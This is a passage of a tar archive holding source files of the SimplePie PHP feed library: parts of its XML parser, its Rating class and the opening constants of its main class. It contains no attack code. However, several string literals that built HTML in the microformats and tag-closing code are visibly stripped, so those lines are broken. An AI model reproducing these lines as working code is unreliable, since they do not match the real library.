@is_writable(sys_get_temp_dir()) ? 'php://temp' : 'php://memory'; if (($stream = fopen($wrapper, 'r+')) && fwrite($stream, $data) && rewind($stream)) { //Parse by chunks not to use too much memory do { $stream_data = fread($stream, 1048576); if (!xml_parse($xml, $stream_data === false ? '' : $stream_data, feof($stream))) { $this->error_code = xml_get_error_code($xml); $this->error_string = xml_error_string($this->error_code); $return = false; break; } } while (!feof($stream)); fclose($stream); } else { $return = false; } $this->current_line = xml_get_current_line_number($xml); $this->current_column = xml_get_current_column_number($xml); $this->current_byte = xml_get_current_byte_index($xml); xml_parser_free($xml); return $return; } libxml_clear_errors(); $xml = new \XMLReader(); $xml->xml($data); while (@$xml->read()) { switch ($xml->nodeType) { case constant('XMLReader::END_ELEMENT'): if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $this->tag_close(null, $tagName); break; case constant('XMLReader::ELEMENT'): $empty = $xml->isEmptyElement; if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $attributes = []; while ($xml->moveToNextAttribute()) { if ($xml->namespaceURI !== '') { $attrName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $attrName = $xml->localName; } $attributes[$attrName] = $xml->value; } $this->tag_open(null, $tagName, $attributes); if ($empty) { $this->tag_close(null, $tagName); } break; case constant('XMLReader::TEXT'): case constant('XMLReader::CDATA'): $this->cdata(null, $xml->value); break; } } if ($error = libxml_get_last_error()) { $this->error_code = $error->code; $this->error_string = $error->message; $this->current_line = $error->line; $this->current_column = $error->column; return false; } return true; } public function get_error_code() { return $this->error_code; } public function get_error_string() { return $this->error_string; } public function get_current_line() { return $this->current_line; } public function get_current_column() { return $this->current_column; } public function get_current_byte() { return $this->current_byte; } public function get_data() { return $this->data; } public function tag_open($parser, $tag, $attributes) { list($this->namespace[], $this->element[]) = $this->split_ns($tag); $attribs = []; foreach ($attributes as $name => $value) { list($attrib_namespace, $attribute) = $this->split_ns($name); $attribs[$attrib_namespace][$attribute] = $value; } if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'])) { $base = $this->registry->call('Misc', 'absolutize_url', [$attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'], end($this->xml_base)]); if ($base !== false) { $this->xml_base[] = $base; $this->xml_base_explicit[] = true; } } else { $this->xml_base[] = end($this->xml_base); $this->xml_base_explicit[] = end($this->xml_base_explicit); } if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'])) { $this->xml_lang[] = $attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang']; } else { $this->xml_lang[] = end($this->xml_lang); } if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct++; if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML) { $this->data['data'] .= '<' . end($this->element); if (isset($attribs[''])) { foreach ($attribs[''] as $name => $value) { $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"'; } } $this->data['data'] .= '>'; } } else { $this->datas[] =& $this->data; $this->data =& $this->data['child'][end($this->namespace)][end($this->element)][]; $this->data = ['data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)]; if ((end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_03 && in_array(end($this->element), ['title', 'tagline', 'copyright', 'info', 'summary', 'content']) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml') || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_10 && in_array(end($this->element), ['rights', 'subtitle', 'summary', 'info', 'title', 'content']) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml') || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_20 && in_array(end($this->element), ['title'])) || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_090 && in_array(end($this->element), ['title'])) || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_10 && in_array(end($this->element), ['title']))) { $this->current_xhtml_construct = 0; } } } public function cdata($parser, $cdata) { if ($this->current_xhtml_construct >= 0) { $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding); } else { $this->data['data'] .= $cdata; } } public function tag_close($parser, $tag) { if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct--; if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML && !in_array(end($this->element), ['area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'])) { $this->data['data'] .= 'element) . '>'; } } if ($this->current_xhtml_construct === -1) { $this->data =& $this->datas[count($this->datas) - 1]; array_pop($this->datas); } array_pop($this->element); array_pop($this->namespace); array_pop($this->xml_base); array_pop($this->xml_base_explicit); array_pop($this->xml_lang); } public function split_ns($string) { static $cache = []; if (!isset($cache[$string])) { if ($pos = strpos($string, $this->separator)) { static $separator_length; if (!$separator_length) { $separator_length = strlen($this->separator); } $namespace = substr($string, 0, $pos); $local_name = substr($string, $pos + $separator_length); if (strtolower($namespace) === \SimplePie\SimplePie::NAMESPACE_ITUNES) { $namespace = \SimplePie\SimplePie::NAMESPACE_ITUNES; } // Normalize the Media RSS namespaces if ($namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG || $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 || $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 || $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 || $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5) { $namespace = \SimplePie\SimplePie::NAMESPACE_MEDIARSS; } $cache[$string] = [$namespace, $local_name]; } else { $cache[$string] = ['', $string]; } } return $cache[$string]; } private function parse_hcard($data, $category = false) { $name = ''; $link = ''; // Check if h-card is set and pass that information on in the link. if (isset($data['type']) && in_array('h-card', $data['type'])) { if (isset($data['properties']['name'][0])) { $name = $data['properties']['name'][0]; } if (isset($data['properties']['url'][0])) { $link = $data['properties']['url'][0]; if ($name === '') { $name = $link; } else { // can't have commas in categories. $name = str_replace(',', '', $name); } $person_tag = $category ? '' : ''; return ''.$person_tag.$name.''; } } return isset($data['value']) ? $data['value'] : ''; } private function parse_microformats(&$data, $url) { $feed_title = ''; $feed_author = null; $author_cache = []; $items = []; $entries = []; $mf = \Mf2\parse($data, $url); // First look for an h-feed. $h_feed = []; foreach ($mf['items'] as $mf_item) { if (in_array('h-feed', $mf_item['type'])) { $h_feed = $mf_item; break; } // Also look for h-feed or h-entry in the children of each top level item. if (!isset($mf_item['children'][0]['type'])) { continue; } if (in_array('h-feed', $mf_item['children'][0]['type'])) { $h_feed = $mf_item['children'][0]; // In this case the parent of the h-feed may be an h-card, so use it as // the feed_author. if (in_array('h-card', $mf_item['type'])) { $feed_author = $mf_item; } break; } elseif (in_array('h-entry', $mf_item['children'][0]['type'])) { $entries = $mf_item['children']; // In this case the parent of the h-entry list may be an h-card, so use // it as the feed_author. if (in_array('h-card', $mf_item['type'])) { $feed_author = $mf_item; } break; } } if (isset($h_feed['children'])) { $entries = $h_feed['children']; // Also set the feed title and store author from the h-feed if available. if (isset($mf['items'][0]['properties']['name'][0])) { $feed_title = $mf['items'][0]['properties']['name'][0]; } if (isset($mf['items'][0]['properties']['author'][0])) { $feed_author = $mf['items'][0]['properties']['author'][0]; } } elseif (count($entries) === 0) { $entries = $mf['items']; } for ($i = 0; $i < count($entries); $i++) { $entry = $entries[$i]; if (in_array('h-entry', $entry['type'])) { $item = []; $title = ''; $description = ''; if (isset($entry['properties']['url'][0])) { $link = $entry['properties']['url'][0]; if (isset($link['value'])) { $link = $link['value']; } $item['link'] = [['data' => $link]]; } if (isset($entry['properties']['uid'][0])) { $guid = $entry['properties']['uid'][0]; if (isset($guid['value'])) { $guid = $guid['value']; } $item['guid'] = [['data' => $guid]]; } if (isset($entry['properties']['name'][0])) { $title = $entry['properties']['name'][0]; if (isset($title['value'])) { $title = $title['value']; } $item['title'] = [['data' => $title]]; } if (isset($entry['properties']['author'][0]) || isset($feed_author)) { // author is a special case, it can be plain text or an h-card array. // If it's plain text it can also be a url that should be followed to // get the actual h-card. $author = isset($entry['properties']['author'][0]) ? $entry['properties']['author'][0] : $feed_author; if (!is_string($author)) { $author = $this->parse_hcard($author); } elseif (strpos($author, 'http') === 0) { if (isset($author_cache[$author])) { $author = $author_cache[$author]; } else { $mf = \Mf2\fetch($author); foreach ($mf['items'] as $hcard) { // Only interested in an h-card by itself in this case. if (!in_array('h-card', $hcard['type'])) { continue; } // It must have a url property matching what we fetched. if (!isset($hcard['properties']['url']) || !(in_array($author, $hcard['properties']['url']))) { continue; } // Save parse_hcard the trouble of finding the correct url. $hcard['properties']['url'][0] = $author; // Cache this h-card for the next h-entry to check. $author_cache[$author] = $this->parse_hcard($hcard); $author = $author_cache[$author]; break; } } } $item['author'] = [['data' => $author]]; } if (isset($entry['properties']['photo'][0])) { // If a photo is also in content, don't need to add it again here. $content = ''; if (isset($entry['properties']['content'][0]['html'])) { $content = $entry['properties']['content'][0]['html']; } $photo_list = []; for ($j = 0; $j < count($entry['properties']['photo']); $j++) { $photo = $entry['properties']['photo'][$j]; if (!empty($photo) && strpos($content, $photo) === false) { $photo_list[] = $photo; } } // When there's more than one photo show the first and use a lightbox. // Need a permanent, unique name for the image set, but don't have // anything unique except for the content itself, so use that. $count = count($photo_list); if ($count > 1) { $image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]); $description = '

            '; for ($j = 0; $j < $count; $j++) { $hidden = $j === 0 ? '' : 'class="hidden" '; $description .= ''. ''; } $description .= '
            '.$count.' photos

            '; } elseif ($count == 1) { $description = '

            '; } } if (isset($entry['properties']['content'][0]['html'])) { // e-content['value'] is the same as p-name when they are on the same // element. Use this to replace title with a strip_tags version so // that alt text from images is not included in the title. if ($entry['properties']['content'][0]['value'] === $title) { $title = strip_tags($entry['properties']['content'][0]['html']); $item['title'] = [['data' => $title]]; } $description .= $entry['properties']['content'][0]['html']; if (isset($entry['properties']['in-reply-to'][0])) { $in_reply_to = ''; if (is_string($entry['properties']['in-reply-to'][0])) { $in_reply_to = $entry['properties']['in-reply-to'][0]; } elseif (isset($entry['properties']['in-reply-to'][0]['value'])) { $in_reply_to = $entry['properties']['in-reply-to'][0]['value']; } if ($in_reply_to !== '') { $description .= '

            '. ''.$in_reply_to.'

            '; } } $item['description'] = [['data' => $description]]; } if (isset($entry['properties']['category'])) { $category_csv = ''; // Categories can also contain h-cards. foreach ($entry['properties']['category'] as $category) { if ($category_csv !== '') { $category_csv .= ', '; } if (is_string($category)) { // Can't have commas in categories. $category_csv .= str_replace(',', '', $category); } else { $category_csv .= $this->parse_hcard($category, true); } } $item['category'] = [['data' => $category_csv]]; } if (isset($entry['properties']['published'][0])) { $timestamp = strtotime($entry['properties']['published'][0]); $pub_date = date('F j Y g:ia', $timestamp).' GMT'; $item['pubDate'] = [['data' => $pub_date]]; } // The title and description are set to the empty string to represent // a deleted item (which also makes it an invalid rss item). if (isset($entry['properties']['deleted'][0])) { $item['title'] = [['data' => '']]; $item['description'] = [['data' => '']]; } $items[] = ['child' => ['' => $item]]; } } // Mimic RSS data format when storing microformats. $link = [['data' => $url]]; $image = ''; if (!is_string($feed_author) && isset($feed_author['properties']['photo'][0])) { $image = [['child' => ['' => ['url' => [['data' => $feed_author['properties']['photo'][0]]]]]]]; } // Use the name given for the h-feed, or get the title from the html. if ($feed_title !== '') { $feed_title = [['data' => htmlspecialchars($feed_title)]]; } elseif ($position = strpos($data, '')) { $start = $position < 200 ? 0 : $position - 200; $check = substr($data, $start, 400); $matches = []; if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) { $feed_title = [['data' => htmlspecialchars($matches[1])]]; } } $channel = ['channel' => [['child' => ['' => ['link' => $link, 'image' => $image, 'title' => $feed_title, 'item' => $items]]]]]; $rss = [['attribs' => ['' => ['version' => '2.0']], 'child' => ['' => $channel]]]; $this->data = ['child' => ['' => ['rss' => $rss]]]; return true; } private function declare_html_entities() { // This is required because the RSS specification says that entity-encoded // html is allowed, but the xml specification says they must be declared. return '<!DOCTYPE html [ <!ENTITY nbsp " "> <!ENTITY iexcl "¡"> <!ENTITY cent "¢"> <!ENTITY pound "£"> <!ENTITY curren "¤"> <!ENTITY yen "¥"> <!ENTITY brvbar "¦"> <!ENTITY sect "§"> <!ENTITY uml "¨"> <!ENTITY copy "©"> <!ENTITY ordf "ª"> <!ENTITY laquo "«"> <!ENTITY not "¬"> <!ENTITY shy "­"> <!ENTITY reg "®"> <!ENTITY macr "¯"> <!ENTITY deg "°"> <!ENTITY plusmn "±"> <!ENTITY sup2 "²"> <!ENTITY sup3 "³"> <!ENTITY acute "´"> <!ENTITY micro "µ"> <!ENTITY para "¶"> <!ENTITY middot "·"> <!ENTITY cedil "¸"> <!ENTITY sup1 "¹"> <!ENTITY ordm "º"> <!ENTITY raquo "»"> <!ENTITY frac14 "¼"> <!ENTITY frac12 "½"> <!ENTITY frac34 "¾"> <!ENTITY iquest "¿"> <!ENTITY Agrave "À"> <!ENTITY Aacute "Á"> <!ENTITY Acirc "Â"> <!ENTITY Atilde "Ã"> <!ENTITY Auml "Ä"> <!ENTITY Aring "Å"> <!ENTITY AElig "Æ"> <!ENTITY Ccedil "Ç"> <!ENTITY Egrave "È"> <!ENTITY Eacute "É"> <!ENTITY Ecirc "Ê"> <!ENTITY Euml "Ë"> <!ENTITY Igrave "Ì"> <!ENTITY Iacute "Í"> <!ENTITY Icirc "Î"> <!ENTITY Iuml "Ï"> <!ENTITY ETH "Ð"> <!ENTITY Ntilde "Ñ"> <!ENTITY Ograve "Ò"> <!ENTITY Oacute "Ó"> <!ENTITY Ocirc "Ô"> <!ENTITY Otilde "Õ"> <!ENTITY Ouml "Ö"> <!ENTITY times "×"> <!ENTITY Oslash "Ø"> <!ENTITY Ugrave "Ù"> <!ENTITY Uacute "Ú"> <!ENTITY Ucirc "Û"> <!ENTITY Uuml "Ü"> <!ENTITY Yacute "Ý"> <!ENTITY THORN "Þ"> <!ENTITY szlig "ß"> <!ENTITY agrave "à"> <!ENTITY aacute "á"> <!ENTITY acirc "â"> <!ENTITY atilde "ã"> <!ENTITY auml "ä"> <!ENTITY aring "å"> <!ENTITY aelig "æ"> <!ENTITY ccedil "ç"> <!ENTITY egrave "è"> <!ENTITY eacute "é"> <!ENTITY ecirc "ê"> <!ENTITY euml "ë"> <!ENTITY igrave "ì"> <!ENTITY iacute "í"> <!ENTITY icirc "î"> <!ENTITY iuml "ï"> <!ENTITY eth "ð"> <!ENTITY ntilde "ñ"> <!ENTITY ograve "ò"> <!ENTITY oacute "ó"> <!ENTITY ocirc "ô"> <!ENTITY otilde "õ"> <!ENTITY ouml "ö"> <!ENTITY divide "÷"> <!ENTITY oslash "ø"> <!ENTITY ugrave "ù"> <!ENTITY uacute "ú"> <!ENTITY ucirc "û"> <!ENTITY uuml "ü"> <!ENTITY yacute "ý"> <!ENTITY thorn "þ"> <!ENTITY yuml "ÿ"> <!ENTITY OElig "Œ"> <!ENTITY oelig "œ"> <!ENTITY Scaron "Š"> <!ENTITY scaron "š"> <!ENTITY Yuml "Ÿ"> <!ENTITY fnof "ƒ"> <!ENTITY circ "ˆ"> <!ENTITY tilde "˜"> <!ENTITY Alpha "Α"> <!ENTITY Beta "Β"> <!ENTITY Gamma "Γ"> <!ENTITY Epsilon "Ε"> <!ENTITY Zeta "Ζ"> <!ENTITY Eta "Η"> <!ENTITY Theta "Θ"> <!ENTITY Iota "Ι"> <!ENTITY Kappa "Κ"> <!ENTITY Lambda "Λ"> <!ENTITY Mu "Μ"> <!ENTITY Nu "Ν"> <!ENTITY Xi "Ξ"> <!ENTITY Omicron "Ο"> <!ENTITY Pi "Π"> <!ENTITY Rho "Ρ"> <!ENTITY Sigma "Σ"> <!ENTITY Tau "Τ"> <!ENTITY Upsilon "Υ"> <!ENTITY Phi "Φ"> <!ENTITY Chi "Χ"> <!ENTITY Psi "Ψ"> <!ENTITY Omega "Ω"> <!ENTITY alpha "α"> <!ENTITY beta "β"> <!ENTITY gamma "γ"> <!ENTITY delta "δ"> <!ENTITY epsilon "ε"> <!ENTITY zeta "ζ"> <!ENTITY eta "η"> <!ENTITY theta "θ"> <!ENTITY iota "ι"> <!ENTITY kappa "κ"> <!ENTITY lambda "λ"> <!ENTITY mu "μ"> <!ENTITY nu "ν"> <!ENTITY xi "ξ"> <!ENTITY omicron "ο"> <!ENTITY pi "π"> <!ENTITY rho "ρ"> <!ENTITY sigmaf "ς"> <!ENTITY sigma "σ"> <!ENTITY tau "τ"> <!ENTITY upsilon "υ"> <!ENTITY phi "φ"> <!ENTITY chi "χ"> <!ENTITY psi "ψ"> <!ENTITY omega "ω"> <!ENTITY thetasym "ϑ"> <!ENTITY upsih "ϒ"> <!ENTITY piv "ϖ"> <!ENTITY ensp " "> <!ENTITY emsp " "> <!ENTITY thinsp " "> <!ENTITY zwnj "‌"> <!ENTITY zwj "‍"> <!ENTITY lrm "‎"> <!ENTITY rlm "‏"> <!ENTITY ndash "–"> <!ENTITY mdash "—"> <!ENTITY lsquo "‘"> <!ENTITY rsquo "’"> <!ENTITY sbquo "‚"> <!ENTITY ldquo "“"> <!ENTITY rdquo "”"> <!ENTITY bdquo "„"> <!ENTITY dagger "†"> <!ENTITY Dagger "‡"> <!ENTITY bull "•"> <!ENTITY hellip "…"> <!ENTITY permil "‰"> <!ENTITY prime "′"> <!ENTITY Prime "″"> <!ENTITY lsaquo "‹"> <!ENTITY rsaquo "›"> <!ENTITY oline "‾"> <!ENTITY frasl "⁄"> <!ENTITY euro "€"> <!ENTITY image "ℑ"> <!ENTITY weierp "℘"> <!ENTITY real "ℜ"> <!ENTITY trade "™"> <!ENTITY alefsym "ℵ"> <!ENTITY larr "←"> <!ENTITY uarr "↑"> <!ENTITY rarr "→"> <!ENTITY darr "↓"> <!ENTITY harr "↔"> <!ENTITY crarr "↵"> <!ENTITY lArr "⇐"> <!ENTITY uArr "⇑"> <!ENTITY rArr "⇒"> <!ENTITY dArr "⇓"> <!ENTITY hArr "⇔"> <!ENTITY forall "∀"> <!ENTITY part "∂"> <!ENTITY exist "∃"> <!ENTITY empty "∅"> <!ENTITY nabla "∇"> <!ENTITY isin "∈"> <!ENTITY notin "∉"> <!ENTITY ni "∋"> <!ENTITY prod "∏"> <!ENTITY sum "∑"> <!ENTITY minus "−"> <!ENTITY lowast "∗"> <!ENTITY radic "√"> <!ENTITY prop "∝"> <!ENTITY infin "∞"> <!ENTITY ang "∠"> <!ENTITY and "∧"> <!ENTITY or "∨"> <!ENTITY cap "∩"> <!ENTITY cup "∪"> <!ENTITY int "∫"> <!ENTITY there4 "∴"> <!ENTITY sim "∼"> <!ENTITY cong "≅"> <!ENTITY asymp "≈"> <!ENTITY ne "≠"> <!ENTITY equiv "≡"> <!ENTITY le "≤"> <!ENTITY ge "≥"> <!ENTITY sub "⊂"> <!ENTITY sup "⊃"> <!ENTITY nsub "⊄"> <!ENTITY sube "⊆"> <!ENTITY supe "⊇"> <!ENTITY oplus "⊕"> <!ENTITY otimes "⊗"> <!ENTITY perp "⊥"> <!ENTITY sdot "⋅"> <!ENTITY lceil "⌈"> <!ENTITY rceil "⌉"> <!ENTITY lfloor "⌊"> <!ENTITY rfloor "⌋"> <!ENTITY lang "〈"> <!ENTITY rang "〉"> <!ENTITY loz "◊"> <!ENTITY spades "♠"> <!ENTITY clubs "♣"> <!ENTITY hearts "♥"> <!ENTITY diams "♦"> ]>'; } } class_alias('SimplePie\Parser', 'SimplePie_Parser'); ����������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Rating.php������������������������������������������������������������������������0000644�����������������00000007150�14757771437�0012101 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively * * Used by {@see \SimplePie\Enclosure::get_rating()} and {@see \SimplePie\Enclosure::get_ratings()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_rating_class()} * * @package SimplePie * @subpackage API */ class Rating { /** * Rating scheme * * @var string * @see get_scheme() */ public $scheme; /** * Rating value * * @var string * @see get_value() */ public $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($scheme = null, $value = null) { $this->scheme = $scheme; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the organizational scheme for the rating * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } return null; } /** * Get the value of the rating * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } return null; } } class_alias('SimplePie\Rating', 'SimplePie_Rating'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/SimplePie.php���������������������������������������������������������������������0000644�����������������00000327245�14757771437�0012556 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * SimplePie * * @package SimplePie * @subpackage API */ class SimplePie { /** * SimplePie Name */ const NAME = 'SimplePie'; /** * SimplePie Version */ const VERSION = '1.7.0'; /** * SimplePie Website URL */ const URL = 'http://simplepie.org'; /** * SimplePie Linkback */ const LINKBACK = '<a href="' . self::URL . '" title="' . self::NAME . ' ' . self::VERSION . '">' . self::NAME . '</a>'; /** * No Autodiscovery * @see SimplePie::set_autodiscovery_level() */ const LOCATOR_NONE = 0; /** * Feed Link Element Autodiscovery * @see SimplePie::set_autodiscovery_level() */ const LOCATOR_AUTODISCOVERY = 1; /** * Local Feed Extension Autodiscovery * @see SimplePie::set_autodiscovery_level() */ const LOCATOR_LOCAL_EXTENSION = 2; /** * Local Feed Body Autodiscovery * @see SimplePie::set_autodiscovery_level() */ const LOCATOR_LOCAL_BODY = 4; /** * Remote Feed Extension Autodiscovery * @see SimplePie::set_autodiscovery_level() */ const LOCATOR_REMOTE_EXTENSION = 8; /** * Remote Feed Body Autodiscovery * @see SimplePie::set_autodiscovery_level() */ const LOCATOR_REMOTE_BODY = 16; /** * All Feed Autodiscovery * @see SimplePie::set_autodiscovery_level() */ const LOCATOR_ALL = 31; /** * No known feed type */ const TYPE_NONE = 0; /** * RSS 0.90 */ const TYPE_RSS_090 = 1; /** * RSS 0.91 (Netscape) */ const TYPE_RSS_091_NETSCAPE = 2; /** * RSS 0.91 (Userland) */ const TYPE_RSS_091_USERLAND = 4; /** * RSS 0.91 (both Netscape and Userland) */ const TYPE_RSS_091 = 6; /** * RSS 0.92 */ const TYPE_RSS_092 = 8; /** * RSS 0.93 */ const TYPE_RSS_093 = 16; /** * RSS 0.94 */ const TYPE_RSS_094 = 32; /** * RSS 1.0 */ const TYPE_RSS_10 = 64; /** * RSS 2.0 */ const TYPE_RSS_20 = 128; /** * RDF-based RSS */ const TYPE_RSS_RDF = 65; /** * Non-RDF-based RSS (truly intended as syndication format) */ const TYPE_RSS_SYNDICATION = 190; /** * All RSS */ const TYPE_RSS_ALL = 255; /** * Atom 0.3 */ const TYPE_ATOM_03 = 256; /** * Atom 1.0 */ const TYPE_ATOM_10 = 512; /** * All Atom */ const TYPE_ATOM_ALL = 768; /** * All feed types */ const TYPE_ALL = 1023; /** * No construct */ const CONSTRUCT_NONE = 0; /** * Text construct */ const CONSTRUCT_TEXT = 1; /** * HTML construct */ const CONSTRUCT_HTML = 2; /** * XHTML construct */ const CONSTRUCT_XHTML = 4; /** * base64-encoded construct */ const CONSTRUCT_BASE64 = 8; /** * IRI construct */ const CONSTRUCT_IRI = 16; /** * A construct that might be HTML */ const CONSTRUCT_MAYBE_HTML = 32; /** * All constructs */ const CONSTRUCT_ALL = 63; /** * Don't change case */ const SAME_CASE = 1; /** * Change to lowercase */ const LOWERCASE = 2; /** * Change to uppercase */ const UPPERCASE = 4; /** * PCRE for HTML attributes */ const PCRE_HTML_ATTRIBUTE = '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*'; /** * PCRE for XML attributes */ const PCRE_XML_ATTRIBUTE = '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*'; /** * XML Namespace */ const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace'; /** * Atom 1.0 Namespace */ const NAMESPACE_ATOM_10 = 'http://www.w3.org/2005/Atom'; /** * Atom 0.3 Namespace */ const NAMESPACE_ATOM_03 = 'http://purl.org/atom/ns#'; /** * RDF Namespace */ const NAMESPACE_RDF = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'; /** * RSS 0.90 Namespace */ const NAMESPACE_RSS_090 = 'http://my.netscape.com/rdf/simple/0.9/'; /** * RSS 1.0 Namespace */ const NAMESPACE_RSS_10 = 'http://purl.org/rss/1.0/'; /** * RSS 1.0 Content Module Namespace */ const NAMESPACE_RSS_10_MODULES_CONTENT = 'http://purl.org/rss/1.0/modules/content/'; /** * RSS 2.0 Namespace * (Stupid, I know, but I'm certain it 